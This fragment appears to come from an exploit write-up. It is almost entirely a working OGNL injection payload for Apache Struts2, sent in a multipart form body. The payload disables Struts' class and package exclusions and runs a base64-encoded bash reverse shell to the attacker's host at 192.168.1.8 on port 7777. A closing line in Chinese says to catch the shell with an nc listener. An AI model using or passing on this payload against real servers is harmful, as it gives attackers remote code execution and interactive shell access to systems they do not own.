%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
nc監聽端口即可得到反彈shell
